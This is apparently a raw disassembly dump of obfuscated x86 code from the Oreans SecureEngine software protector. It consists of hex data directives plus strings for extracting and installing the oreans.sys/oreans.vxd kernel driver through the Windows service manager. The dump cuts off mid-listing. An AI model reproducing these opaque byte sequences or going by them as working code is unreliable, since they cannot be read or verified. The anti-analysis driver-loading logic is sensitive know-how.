2E0E9h, 1E900h, 80470000h, 840F203Fh dd 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h, 0AE80000h, 0E9000000h dd 0FFFFFFCBh, 2B4E9h, 60B58D00h, 0E805E9F2h, 225h, 0F2F5BD03h dd 0BD8305E9h, 5E9F2F5h, 0B840F00h, 0C7000000h, 0E70C8185h dd 105h, 0B58DC300h, 5E9F26Bh, 1FCE8h, 0F5BD0300h, 8305E9F2h dd 0E9F2F5BDh, 840F0005h, 0Bh, 281985C7h, 105E7h, 8DC30000h dd 0E9F2E4B5h, 1D3E805h, 0BD030000h, 5E9F2F5h, 0F2F5BD83h dd 0F0005E9h, 0B84h, 3185C700h, 105E720h, 0C3000000h, 0F275B58Dh dd 0AAE805E9h, 3000001h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h dd 0B840Fh, 85C70000h, 5E72819h, 1, 7FB58DC3h, 0E805E9F2h dd 181h, 0F2F5BD03h, 0BD8305E9h, 5E9F2F5h, 15840F00h, 0C7000000h dd 0E7281985h, 105h, 8185C700h, 105E70Ch, 0C3000000h, 0F28DB58Dh dd 4EE805E9h, 3000001h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h dd 0A840Fh, 85C70000h, 5E7138Dh, 1, 0F297B58Dh, 26E805E9h dd 3000001h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h, 0A840Fh, 85C70000h dd 5E7138Dh, 1, 0F2A2B58Dh, 0FEE805E9h, 3000000h, 0E9F2F5BDh dd 0F5BD8305h, 5E9F2h, 0A840Fh, 85C70000h, 5E72EF5h, 1 dd 0F2A8B58Dh, 0D6E805E9h, 3000000h, 0E9F2F5BDh, 0F5BD8305h dd 5E9F2h, 0A840Fh, 85C70000h, 5E72081h, 1, 0F2AEB58Dh dd 0AEE805E9h, 3000000h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h dd 0A840Fh, 85C70000h, 5E70B01h, 1, 0F2BCB58Dh, 86E805E9h dd 3000000h, 0E9F2F5BDh, 0F5BD8305h, 5E9F2h, 0A840Fh, 85C70000h dd 5E71375h, 1, 0F2C9B58Dh, 5EE805E9h, 3000000h, 0E9F2F5BDh dd 0F5BD8305h, 5E9F2h, 0A840Fh, 85C70000h, 5E711A1h, 1 dd 0F2D4B58Dh, 36E805E9h, 3000000h, 0E9F2F5BDh, 0F5BD8305h dd 5E9F2h, 0A840Fh, 85C70000h, 5E72825h, 1, 1E9h, 3F804700h dd 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh, 1B960C3h dd 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h dd 38178AC9h, 5840F16h, 0B9000000h, 0 aFga db 'FG€>',0 db 0Fh, 84h, 8 dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 5E9F2F5h, 0AE9h, 0F585C700h dd 5E9F2h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh dd 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 10h dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 10h dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 4 dd 0D9h dup(0) a_Oreans_vxd db '\\.\Oreans.vxd',0 align 4 dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 dd 0 aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 align 8 dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 89C48B00h, 0E719D1B5h, 8589F905h, 5E72F0Dh, 1A5BD0Bh dd 0C08B05E7h, 1D318D0Bh, 0BD8305E7h, 5E70C81h, 83097500h dd 0E72819BDh, 19740005h, 0C08B5350h, 43DB8h, 7D858900h dd 8D05E704h, 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h dd 53501774h, 43DB8h, 7D858900h, 8D05E704h, 0E9B1829Dh dd 5BD3FF05h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 5510F34Ch, 19820F73h, 0E9000000h dd 14h, 5F520437h, 57269A0h, 657EF57Eh, 244A0E57h, 0A6D57A0Ah dd 0A459D89h, 0C08B05E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0F1C35242h, 0E8AEA7ACh, 10h, 0B440D97h dd 0FCCECB02h, 5DF507FBh, 0DBD52149h, 17E18589h, 8B5A05E7h dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 5E3B1B99h, 0D10B49E7h, 0CE95Ch, 91AB0000h dd 2B50985Bh, 0D495FBFAh, 0BD83C38Bh, 5E70C81h, 83097500h dd 0E72819BDh, 13740005h, 0C08B5350h, 0B8h, 359D8D00h dd 0FF05E9B3h, 83585BD3h, 0E72819BDh, 11740005h, 0B85350h dd 8D000000h, 0E9B1E69Dh, 5BD3FF05h, 8DBD8B58h, 6605E704h dd 8B7896BAh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 135C2CB9h, 0BF0FC08Bh, 81BD83FEh dd 5E70Ch, 0BD830975h, 5E72819h, 50137400h, 0B8C08B53h dd 0 dd 0B2679D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50117400h dd 0B853h, 9D8D0000h, 5E9B1B4h, 585BD3FFh, 1449BD8Bh, 10E905E7h dd 0C2000000h, 0A5F1C40h, 8D6EF7A3h, 64023A46h, 8BD09B5Ah dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0E2B5E292h, 8B88BA2Eh, 0EBBF66C0h, 81BD8321h dd 5E70Ch, 0BD830975h, 5E72819h, 50137400h, 0B8C08B53h dd 0 dd 0B2CE9D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50117400h dd 0B853h, 9D8D0000h, 5E9B1CDh, 585BD3FFh, 12758D89h, 840F05E7h dd 6, 810Fh, 80600000h, 95897FE1h, 5E72CF1h, 6AC08B61h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0D123C355h, 1D17684h, 89C08B19h, 0E71401B5h dd 81BD8305h, 5E70Ch, 0BD830975h, 5E72819h, 50137400h dd 0B8C08B53h, 0 dd 0B2009D8Dh, 0D3FF05E9h, 0B966585Bh, 0C08B8B38h, 4B9958Bh dd 0DCB505E7h, 880FC08Bh, 13h, 0EE9h, 169B1000h, 2AC62C9Bh dd 2E301A78h, 838DAD98h, 0E70C81BDh, 9750005h, 2819BD83h dd 740005E7h, 8B535019h, 7D0B8C0h, 85890000h, 5E7047Dh dd 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50177400h dd 7D0B853h, 85890000h, 5E7047Dh, 0B1829D8Dh, 0D3FF05E9h dd 9D89585Bh, 5E71195h, 33E18166h, 84EA81EDh, 8B53DB91h dd 0CF8166C0h, 85C6D5A0h, 5E732A5h, 0CF8B6653h, 395F9068h dd 68F0F99h, 9000000h, 0E72239BDh, 99B5FF05h, 305E708h dd 0E7189DBDh, 2A858D05h, 8005E739h, 0D0FF62EEh, 1C75958Bh dd 858905E7h, 5E71795h, 85C6D38Bh, 5E732A5h, 0F1BA6657h dd 5206683Bh, 89519004h, 0E716799Dh, 0B5FF5F05h, 5E70899h dd 24E59531h, 858D05E7h, 5E7392Ah, 6E9h, 7292B800h, 0FF923EC0h dd 18D31D0h, 8905E723h, 0E7045185h, 5E51B905h, 0FC6029D0h dd 27459589h, 0C66105E7h, 0E732A585h, 2CB24305h, 90702868h dd 0CF8166BCh, 0B5FF5748h, 5E70899h, 2B1DBD8Bh, 858D05E7h dd 5E7392Ah, 0FFD3B70Fh, 7D9D89D0h, 8905E70Ch, 0E72A1D85h dd 68C0F05h, 8B000000h, 0E72A6595h, 0A585C605h, 4C05E732h dd 5A767EBAh, 1CE96803h, 0F60D9DAh, 58Ah, 50DFB800h, 0BB661485h dd 8B61B5A5h, 0E717CD95h, 99B5FF05h, 6A05E708h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 73E4C352h, 0C509705Ah, 2056195Dh, 8DF8BF0Fh, 0E7392A85h dd 38E0F05h, 80000000h, 8B51FBCDh, 0E71A59BDh, 0D0FF5A05h dd 298589h, 958B05E7h, 5E711A5h, 2E5D8D8Bh, 85C605E7h dd 5E732A5h, 6146846h, 0C88BBADEh, 899B5FFh, 0B53105E7h dd 5E7019Dh, 392A858Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 830FA2C3h, 7, 0CF816651h dd 0FF5AF9E5h, 21BD89D0h, 0E905E715h, 11h, 0FD3DDC8Ch dd 0E554D1Fh, 379E7258h, 85C2AECDh, 0C985897Fh, 0F05E71Ah dd 85C6D1B7h, 5E732A5h, 0B5E26847h, 0BD8B8A0Fh, 5E71B29h dd 899B5FFh, 8E0F05E7h, 6, 1A69BD03h, 858D05E7h, 5E7392Ah dd 6AD0FFF5h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 3070C350h, 8E9E2BA4h, 19E18589h dd 85C605E7h, 5E732A5h, 6890F47h, 23000000h, 0E7194995h dd 0B5F36805h, 13E983D0h, 1B000000h, 36D86996h, 0A966F625h dd 25EFB521h, 7B8D15A5h, 0B5FFDDE0h, 5E70899h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 3AC35545h, 6810F35h dd 0B000000h, 0E729E995h, 2A858D05h, 0B105E739h, 29D0FFB5h dd 0E71B59B5h, 0FE805h, 0E8480000h, 93537775h, 1388F3C4h dd 0E5AA5C95h, 0FEB70F8Ch, 31858959h, 0F05E72Ch, 85C6CBBFh dd 5E732A5h, 0F5E18077h, 97A8A368h, 85B5FFF3h, 0E805E717h dd 0Dh, 0EF76AACFh, 738FF6DCh, 395D2597h, 5A99B25Bh, 392A858Dh dd 8D8B05E7h, 5E7162Dh, 8589D0FFh, 5E709BDh, 1BD9D01h dd 85C605E7h, 5E732A5h, 1D958947h, 6805E71Bh, 8728FAF6h dd 10E9h, 1414D300h, 5D23C6A7h, 15614E17h, 76EDBBA1h, 99B5FF88h dd 8005E708h, 858DE5F5h, 5E7392Ah, 21958B53h, 5F05E717h dd 3DBD0960h, 8905E725h, 0E72A21B5h, 0D0FF6105h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 61C35343h, 0C41DC173h dd 8D0B40D5h, 5E72365h, 0B518589h, 8D0B05E7h, 5E71821h dd 32A585C6h, 664305E7h, 0CA44C181h, 8E6EFC68h, 0ED958BBCh dd 0FF05E701h, 0E70899B5h, 29BD8B05h, 8D05E70Bh, 0E7392A85h dd 7D8D3105h, 0FF05E72Ch, 98D181D0h, 663D390Ah, 899A85B9h dd 0E72CBD85h, 0DAC98105h, 0C658CC7Fh, 0E732A585h, 0BD2B4505h dd 5E72A25h, 29CDBD8Bh, 696805E7h, 8B8E7269h, 0E72231BDh dd 99B5FF05h, 8D05E708h, 0E7392A85h, 0A59D8905h, 0FF05E720h dd 7D958BD0h, 8905E705h, 0E7170185h, 0AE805h, 55880000h dd 29B9C5Bh, 45C334BBh, 25458D8Bh, 0C65A05E7h, 0E732A585h dd 6A4405h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 731DD6C3h, 10E93Dh, 14410000h, 0B00EFDD2h dd 14447824h, 4640CC97h, 64688537h, 8BB8F2ECh, 0E7244DBDh dd 99B5FF05h, 8105E708h, 0AC9E4DDFh, 2A858D3Ah, 6A05E739h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 3D60C350h, 0F5B5CF59h, 0BD31D0FFh, 5E70B55h dd 15D58589h, 0C6FC05E7h, 0E732A585h, 25B24305h, 764AA768h dd 9840FC0h, 0F000000h, 38Ah, 0D78B6600h, 899B5FFh, 0AE905E7h dd 33000000h, 0E45EA66Ch, 0F657DD60h, 0DDB966A0h, 2A858DEAh dd 8005E739h, 0D0FFE3D5h, 55D18166h, 6D858949h, 8B05E707h dd 0E7040D95h, 61BD8005h, 5EA02h, 0BF840Fh, 85890000h dd 5E72975h, 243858Dh, 958905EAh, 5E71479h, 0EE950h, 0DA3C0000h dd 85D9F132h, 4AEADA84h, 4E443A78h, 89016AF8h, 0E708C1B5h dd 69958B05h, 6A05E72Ch, 10E900h, 0D1DF0000h, 369DA8C8h dd 0B17D9950h, 86FE4689h, 0BF6673FCh, 6A2D2Bh, 95FFF0B5h dd 5E72A1Dh, 126D8D33h, 858905E7h, 5E72B21h, 6880Fh, 0DA810000h dd 56B993CCh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 1DA9EAC3h, 0A5C5E17Ch, 0BA6660F5h dd 9D310F31h, 5E70A01h, 21B5FF61h, 8905E72Bh, 0E719719Dh dd 5195FF05h, 0E905E704h, 5, 0D20DAD18h, 66C08B9Ch, 0BD31FA8Bh dd 5E70405h, 0C81BD83h, 750005E7h, 19BD8309h, 5E728h, 53501974h dd 0D1B8C08Bh, 89000007h, 0E7047D85h, 939D8D05h, 0FF05E9B4h dd 83585BD3h, 0E72819BDh, 17740005h, 0D1B85350h, 89000007h dd 0E7047D85h, 829D8D05h, 0FF05E9B1h, 66585BD3h, 0BF1D6DBAh dd 7BBC9B9h, 0C08B5F53h, 152D9D89h, 85C605E7h, 5E732A5h dd 57006A47h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 21041C97h, 80B1848Ah, 952359F5h, 5E729D1h dd 0C8F7C168h, 699D8993h, 0FF05E701h, 0E70899B5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0B5953C02h, 2A858D7Dh, 0FF05E739h, 53006AD0h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0BA6651CEh, 81593BD5h, 39EFF7DAh, 38A0F47h, 80000000h dd 6A5063C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0E25BC353h, 0BAB93A64h, 8D45F041h dd 0EA068485h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0B5897B29h, 5E72BF1h dd 9400C7h, 0D08A0000h, 38D0F58h, 80000000h, 0B58D12CEh dd 5EA0684h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 6AC35141h, 0F44BEF3Bh, 0B099523h, 6A5605E7h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 269FC350h, 7C814869h, 958BBD65h, 5E70C01h dd 0C580D0FFh, 84858D6Fh, 8305EA06h, 0F060478h, 1385h dd 0F8B70F00h, 71885C7h, 105EAh, 0B5890000h, 5E70AC1h dd 301BD83h, 0F0005E7h, 0A785h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0A3565A01h dd 0F52EF7E3h, 18BD83AEh, 5EA07h, 76850Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 236194C3h, 0A5950353h, 5F05E716h, 401BD83h, 0F0005E7h dd 4384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0F3C7425h, 0AE8F9BFh, 10000000h dd 6D910527h, 0A5B41433h, 318D890Eh, 5F05E722h, 119185C7h dd 5E7h, 0F88B0000h, 8BDB8C66h, 0E723BDBDh, 4C3F605h, 4F1840Fh dd 10E90000h, 25000000h, 11C86009h, 0DF8A2A28h, 5D02926h dd 0C7217614h, 0E72B8D85h, 5, 6EBD8000h, 5EA02h, 6850Fh dd 8D310000h, 5E7179Dh, 32A585C6h, 894705E7h, 0E707D195h dd 5B866805h, 8589E3E4h, 5E712D5h, 1AC5958Bh, 0B5FF05E7h dd 5E70899h, 0CE9h, 0A14C9800h, 2F5AACCh, 0F787BF85h, 2A858D42h dd 6605E739h, 0E60BF181h, 0CE8D0FFh, 0D3000000h, 0EB6F3260h dd 8A81CE76h, 8B831CE4h, 0E72F1D8Dh, 4685A05h, 8B000001h dd 0E708B18Dh, 0F19D8D05h, 0E905E725h, 9, 0FA271F17h, 83B9A2BFh dd 0FB8B5323h, 0BD23D0FFh, 5E70BB9h, 25F1858Dh, 0EE905E7h dd 59000000h, 0BA29C033h, 0A7086049h, 0D66F27BAh, 0BF0F507Dh dd 0B5BD89CFh, 8D05E705h, 0EA022085h, 148C0F05h, 0E8000000h dd 8, 29A1F30Bh, 1B1DEE89h, 2981B589h, 505905E7h, 28899D01h dd 816605E7h, 8D1423D2h, 0E9F8F385h, 0C68B6005h, 98D78166h dd 8B50610Ah, 0E7242D95h, 0BD95FF05h, 905E709h, 0E719E985h dd 0CC48305h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0EAC35747h, 666048C6h, 8BD825BEh, 0E721499Dh, 6A6105h dd 8068h, 6A036A00h, 68006A00h, 80000000h, 0F8F3858Dh dd 0FF5005E9h, 0E72CBD95h, 3858905h, 0C605EA02h, 0E732A585h dd 87684705h, 0FFC7B15Eh, 0E70899B5h, 2A858D05h, 0FF05E739h dd 0FF006AD0h, 0EA0203B5h, 66D0FF05h, 6EF1D181h, 0AF18D0Bh dd 0D03D05E7h, 0F000037h, 5583h, 0FFF1B100h, 0EA0203B5h dd 758D2905h, 0FF05E711h, 0E7076D95h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 3DBD89EFh, 0F05E719h, 288h, 8153B100h, 0AB1648D9h, 106E954h dd 85890000h, 5E72BD1h, 1CE9BD8Bh, 0B5FF05E7h, 5EA0203h dd 0D2B70F51h, 6D95FF59h, 6A05E707h, 0AE800h, 0B7100000h dd 1A1F14ECh, 52A2AE6Dh, 0F1816657h, 595AD960h, 6A3FB6h dd 1B519D29h, 6A05E7h, 66006AFCh, 1732F181h, 14E9006Ah dd 1B000000h, 0F6FACCD1h, 0C8FA464Dh, 0AB94660Bh, 78596C3Ch dd 6A8F9DA3h, 5958900h, 8D05E720h, 0EA020785h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0CFF00E3Dh, 0A6840162h, 1A24E781h, 0F501379h, 58Eh dd 5CA6BA00h, 95FF7C52h, 5E72CBDh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0A1C35646h, 66170AFBh, 0EE71E981h dd 0D3B12B9h, 0FFF88322h, 15E850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0D2C80BC3h dd 8D8BF98Bh, 5E72CA5h, 0B980858Dh, 810F05E9h, 6, 2775BD8Bh dd 0AE805E7h, 4C000000h, 7817E7CCh, 3750B4C1h, 0C78166DFh dd 0FF5A698Eh, 0F5BD23D0h, 6A05E701h, 85295200h, 5E72C41h dd 60006A5Ah, 6E9h, 71E79600h, 0E96B748Ah, 10h, 0B598A60Eh dd 4FA1E100h, 52D855DFh, 9B31FECBh, 29006A61h, 0E70AA99Dh dd 6A006A05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 664BC352h, 0F983054h, 86792734h dd 0B589006Ah, 5E72CF5h, 0CD80006Ah, 7858DF1h, 0B605EA02h dd 0F6050E1h, 682h, 0EDBD8B00h, 6105E701h, 2CBD95FFh, 958B05E7h dd 5E703A1h, 0FFFF883h, 7385h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0C1438F46h dd 0C8BF0FCDh, 0FC0FB58Dh, 8D8905E9h, 5E70BC9h, 0A7A6858Dh dd 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0D0FF24C3h, 22EDB589h, 6A05E7h, 6830Fh, 0BD890000h dd 5E7243Dh, 170195FFh, 958B05E7h, 5E70659h, 2038589h dd 8B6605EAh, 6A006AFEh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 2411C356h, 0AF8D8CBh dd 0FB858DF6h, 8905EA01h, 0E7002D95h, 820F6005h, 0 dd 2ADB8166h, 815061F8h, 0E57D25D9h, 0CBBF0F03h, 0A9B2046Ah dd 1B11858Dh, 0AEB905E7h, 5055F6AFh, 27E98D8Bh, 6A05E7h dd 0DAC28166h, 0FC006A8Eh, 6A016Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D4A6D2C3h dd 8A7923C2h, 0F562C5CCh, 203B5FFh, 0BF6605EAh, 95FFA1AFh dd 5E715D5h, 51BD2B60h, 6105E71Ah, 1AFCE9h, 8B4CB500h dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 52E613C3h, 5C63E781h, 835A685Ah, 0E70C81BDh dd 9750005h, 2819BD83h, 740005E7h, 8B535019h, 7D2B8C0h dd 85890000h, 5E7047Dh, 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh dd 5E72819h, 50177400h, 7D2B853h, 85890000h, 5E7047Dh dd 0B1829D8Dh, 0D3FF05E9h, 0B509585Bh, 5E732D5h, 6AC08Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0F16588C3h, 90901FEAh, 2BB04BFBh, 0E7075D95h, 8D85C705h dd 105E72Bh, 31000000h, 0E72BD195h, 0E7B86805h, 0B5FFCEE4h dd 5E72A6Dh, 392A858Dh, 0D0FF05E7h, 9558589h, 0D46805E7h dd 0FFC005DBh, 0E72A6DB5h, 2A858D05h, 0FF05E739h, 358589D0h dd 8D05E71Bh, 0E9F6AC85h, 0B5FF5005h, 5E70899h, 19E195FFh dd 0C00B05E7h, 0D88B0B74h, 65F858Dh, 0FF5005EAh, 5F858DD3h dd 6605EA06h, 75093883h, 0FD85C70Ah, 105E701h, 0FF000000h dd 0E70B5195h, 0FF2505h, 0F8830000h, 0C70A7305h, 0E7319D85h dd 105h, 85FDBF00h, 8D892D39h, 5E71859h, 26EBD80h, 0F0005EAh dd 0C85h, 0A2E9F500h, 81000019h, 4886AFEAh, 0FDBD833Eh dd 5E701h, 12D850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 0A8689EC3h, 0F7BB63BDh dd 18D8B96h, 8D05E70Ah, 0EA023885h, 69958B05h, 5005E707h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 24C35747h dd 0DBCD124Ah, 10890Fh, 0BE90000h, 0AB000000h, 582F3846h dd 4FAF4E5Dh, 16A577Dh, 13CDB589h, 6A05E7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 20C35141h, 165E48E0h dd 80F52EE0h, 6AB5EEh, 0BE9h, 0CEAF4700h, 0B6773258h, 0E521F919h dd 2A1D95FFh, 0DD8005E7h, 8589F974h, 5EA0262h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 86C35040h, 2C7F53A3h dd 13E9EAh, 0C0E30000h, 0B27F3979h, 84289BD2h, 7F99A25Fh dd 0B5B3E6D2h, 0BF0F60A9h, 2810FD6h, 8B000000h, 0FF6A61D8h dd 0F2D98166h, 0BA66533Ch, 0FF594C52h, 0EA0262B5h, 29505105h dd 0E700B585h, 0FF5F5905h, 0E7045195h, 0E7E78105h, 8D1FF89Eh dd 0E9F67385h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 8C0CC17h, 41517807h, 8B50D902h dd 0E72B2D95h, 2995FF05h, 6605E700h, 898F83BFh, 0E9F6FD85h dd 0FE805h, 0C4160000h, 0CC5F8E54h, 0BF2B9308h, 0CAEA5AADh dd 0FDBD8B36h, 5F05E719h, 0F680858Dh, 880F05E9h, 6, 0CE21C181h dd 66505BFBh, 0FF3DECB9h, 0E9F6FDB5h, 0E195FF05h, 6605E719h dd 8589D38Bh, 5E713E9h, 0EE9h, 0A526B300h, 0E9EB28E8h dd 901ED3D5h, 8DF916D9h, 0E9F6EE85h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0F25910Dh dd 688h, 599D8900h, 5005E71Bh, 19F28166h, 0FDB5FF68h, 0FF05E9F6h dd 0E719E195h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 0CF1AB17Ch, 0DA64826Ch dd 0F7118589h, 0EE905E9h, 1000000h, 0DF5B4EF1h, 34611F01h dd 0D30F8DE1h, 0CD858DF8h, 6A05E9F6h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0ADAEC351h dd 0FC50F9D3h, 5870Fh, 1EBA0000h, 0FF6B5EE8h, 0E9F6FDB5h dd 0FE8B6605h, 19E195FFh, 8CBF05E7h, 892AA262h, 0E9F70985h dd 82BF6605h, 0C0858D08h, 0B505E9F6h, 0EB8A5075h, 0F6FDB5FFh dd 8D8B05E9h, 5E71751h, 19E195FFh, 958B05E7h, 5E71391h dd 0F70D8589h, 0EF8A05E9h, 0F6DB858Dh, 0E85005E9h, 0Dh dd 8CDE20E0h, 84E8CD6h, 594DDB55h, 0D3B70F7Fh, 0DDD28159h dd 0FF1C1ECFh, 0E9F6FDB5h, 25B58905h, 0FF05E716h, 0E719E195h dd 11E805h, 0F78E0000h, 0FAA31F73h, 0F8712503h, 4533ACFDh dd 8BA4D7FDh, 0E700718Dh, 8F0F5905h, 6, 8B18D29h, 858905E7h dd 5E70BE5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 73C35747h, 45B1E130h, 858D4F83h, 5E9F68Fh, 11598D8Bh dd 0E85005E7h, 8, 0BCA5F260h, 8BE65AB1h, 17059589h, 0F95905E7h dd 0F6FDB5FFh, 0BA6605E9h, 95FF20A2h, 5E719E1h, 7FEA8166h dd 1858910h, 8905E9F7h, 0E7282995h, 9E858D05h, 6A05E9F6h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0FA74C357h, 32C8DF81h, 6A504FBBh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0C889C355h, 9335F770h, 0EE807C6h, 0F0000000h, 0FE326960h dd 0ACB5CCDAh, 2FE754ABh, 159D09B1h, 5A05E719h, 2B5DBD8Bh dd 0B5FF05E7h, 5E9F6FDh, 1A79BD8Bh, 95FF05E7h, 5E719E1h dd 68C0Fh, 8D290000h, 5E71A3Dh, 0F7058589h, 295705E9h dd 0E719C185h, 4685905h, 31000001h, 0E729D9BDh, 95858D05h dd 5605E9F7h, 8501505Fh, 5E70E6Dh, 